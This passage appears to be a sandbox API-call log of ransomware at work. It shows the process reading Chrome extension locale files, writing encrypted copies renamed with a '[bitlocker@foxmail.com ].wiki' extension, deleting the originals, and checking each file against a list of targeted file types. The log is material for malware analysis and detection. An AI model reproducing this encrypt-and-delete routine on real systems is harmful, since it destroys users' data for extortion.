[0171.813] CloseHandle (hObject=0x124) returned 1 [0171.813] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json")) returned 0x2020 [0171.813] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0171.813] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0171.813] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.813] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.814] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0171.814] GetLastError () returned 0x0 [0171.814] ReadFile (in: hFile=0x124, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0xe0, lpOverlapped=0x0) returned 1 [0171.815] WriteFile (in: hFile=0x320, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0171.816] ReadFile (in: hFile=0x124, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0171.816] WriteFile (in: hFile=0x320, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0171.816] SetEndOfFile (hFile=0x320) returned 1 [0171.816] CloseHandle (hObject=0x320) returned 1 [0171.817] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.817] SetEndOfFile (hFile=0x124) returned 1 [0171.817] CloseHandle (hObject=0x124) returned 1 [0171.817] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0171.818] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json")) returned 1 [0171.818] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json") returned 151 [0171.818] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json") returned 151 [0171.818] lstrlenW (lpString=".doc") returned 4 [0171.818] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0171.818] lstrlenW (lpString=".docx") returned 5 [0171.818] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0171.818] lstrlenW (lpString=".pdf") returned 4 [0171.818] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0171.818] lstrlenW (lpString=".xls") returned 4 [0171.818] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0171.818] lstrlenW (lpString=".xlsx") returned 5 [0171.818] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0171.818] lstrlenW (lpString=".ppt") returned 4 [0171.818] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0171.818] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json") returned 151 [0171.819] lstrlenW (lpString=".zip") returned 4 [0171.819] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0171.819] lstrlenW (lpString=".rar") returned 4 [0171.819] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0171.819] lstrlenW (lpString=".bz2") returned 4 [0171.819] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0171.819] lstrlenW (lpString=".7z") returned 3 [0171.819] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0171.819] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json") returned 151 [0171.819] lstrlenW (lpString=".dbf") returned 4 [0171.819] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0171.819] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json") returned 151 [0171.819] lstrlenW (lpString=".1cd") returned 4 [0171.819] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0171.819] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json") returned 151 [0171.819] lstrlenW (lpString=".jpg") returned 4 [0171.819] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0171.819] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json") returned 151 [0171.819] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json") returned 151 [0171.819] lstrlenW (lpString=".doc") returned 4 [0171.819] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0171.819] lstrlenW (lpString=".docx") returned 5 [0171.819] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0171.819] lstrlenW (lpString=".pdf") returned 4 [0171.819] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0171.819] lstrlenW (lpString=".xls") returned 4 [0171.819] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0171.819] lstrlenW (lpString=".xlsx") returned 5 [0171.819] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0171.819] lstrlenW (lpString=".ppt") returned 4 [0171.820] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0171.820] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json") returned 151 [0171.820] lstrlenW (lpString=".zip") returned 4 [0171.820] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0171.820] lstrlenW (lpString=".rar") returned 4 [0171.820] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0171.820] lstrlenW (lpString=".bz2") returned 4 [0171.820] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0171.820] lstrlenW (lpString=".7z") returned 3 [0171.820] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0171.820] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json") returned 151 [0171.820] lstrlenW (lpString=".dbf") returned 4 [0171.820] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0171.820] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json") returned 151 [0171.820] lstrlenW (lpString=".1cd") returned 4 [0171.820] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0171.820] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json") returned 151 [0171.820] lstrlenW (lpString=".jpg") returned 4 [0171.820] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0171.820] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0171.820] lstrlenW (lpString="messages.json") returned 13 [0171.820] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0171.821] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=234) returned 1 [0171.821] CloseHandle (hObject=0x124) returned 1 [0171.821] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json")) returned 0x2020 [0171.821] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0171.821] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0171.821] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.821] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.821] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0171.822] GetLastError () returned 0x0 [0171.822] ReadFile (in: hFile=0x124, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0xea, lpOverlapped=0x0) returned 1 [0171.823] WriteFile (in: hFile=0x320, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0171.824] ReadFile (in: hFile=0x124, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0171.824] WriteFile (in: hFile=0x320, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0171.824] SetEndOfFile (hFile=0x320) returned 1 [0171.824] CloseHandle (hObject=0x320) returned 1 [0171.824] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.824] SetEndOfFile (hFile=0x124) returned 1 [0171.825] CloseHandle (hObject=0x124) returned 1 [0171.825] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0171.825] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json")) returned 1 [0171.826] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json") returned 151 [0171.826] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json") returned 151 [0171.826] lstrlenW (lpString=".doc") returned 4 [0171.826] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0171.826] lstrlenW (lpString=".docx") returned 5 [0171.826] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0171.826] lstrlenW (lpString=".pdf") returned 4 [0171.826] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0171.826] lstrlenW (lpString=".xls") returned 4 [0171.826] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0171.826] lstrlenW (lpString=".xlsx") returned 5 [0171.826] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0171.826] lstrlenW (lpString=".ppt") returned 4 [0171.826] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0171.826] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json") returned 151 [0171.826] lstrlenW (lpString=".zip") returned 4 [0171.826] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0171.826] lstrlenW (lpString=".rar") returned 4 [0171.826] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0171.826] lstrlenW (lpString=".bz2") returned 4 [0171.826] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0171.826] lstrlenW (lpString=".7z") returned 3 [0171.826] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0171.826] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json") returned 151 [0171.826] lstrlenW (lpString=".dbf") returned 4 [0171.826] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0171.826] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json") returned 151 [0171.827] lstrlenW (lpString=".1cd") returned 4 [0171.827] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0171.827] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json") returned 151 [0171.827] lstrlenW (lpString=".jpg") returned 4 [0171.827] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0171.827] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json") returned 151 [0171.827] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json") returned 151 [0171.827] lstrlenW (lpString=".doc") returned 4 [0171.827] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0171.827] lstrlenW (lpString=".docx") returned 5 [0171.827] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0171.827] lstrlenW (lpString=".pdf") returned 4 [0171.827] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0171.827] lstrlenW (lpString=".xls") returned 4 [0171.827] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0171.827] lstrlenW (lpString=".xlsx") returned 5 [0171.827] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0171.827] lstrlenW (lpString=".ppt") returned 4 [0171.827] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0171.827] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json") returned 151 [0171.827] lstrlenW (lpString=".zip") returned 4 [0171.827] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0171.827] lstrlenW (lpString=".rar") returned 4 [0171.827] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0171.827] lstrlenW (lpString=".bz2") returned 4 [0171.827] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0171.827] lstrlenW (lpString=".7z") returned 3 [0171.827] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0171.828] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json") returned 151 [0171.828] lstrlenW (lpString=".dbf") returned 4 [0171.828] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0171.828] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json") returned 151 [0171.828] lstrlenW (lpString=".1cd") returned 4 [0171.828] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0171.828] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json") returned 151 [0171.828] lstrlenW (lpString=".jpg") returned 4 [0171.828] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0171.828] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0171.828] lstrlenW (lpString="messages.json") returned 13 [0171.828] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0171.828] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=274) returned 1 [0171.828] CloseHandle (hObject=0x124) returned 1 [0171.829] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json")) returned 0x2020 [0171.829] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0171.829] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0171.829] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.829] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.829] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0171.829] GetLastError () returned 0x0 [0171.829] ReadFile (in: hFile=0x124, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x112, lpOverlapped=0x0) returned 1 [0172.126] WriteFile (in: hFile=0x320, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0x120, lpOverlapped=0x0) returned 1 [0172.127] ReadFile (in: hFile=0x124, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0172.127] WriteFile (in: hFile=0x320, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0172.128] SetEndOfFile (hFile=0x320) returned 1 [0172.128] CloseHandle (hObject=0x320) returned 1 [0172.128] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0172.128] SetEndOfFile (hFile=0x124) returned 1 [0172.129] CloseHandle (hObject=0x124) returned 1 [0172.129] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 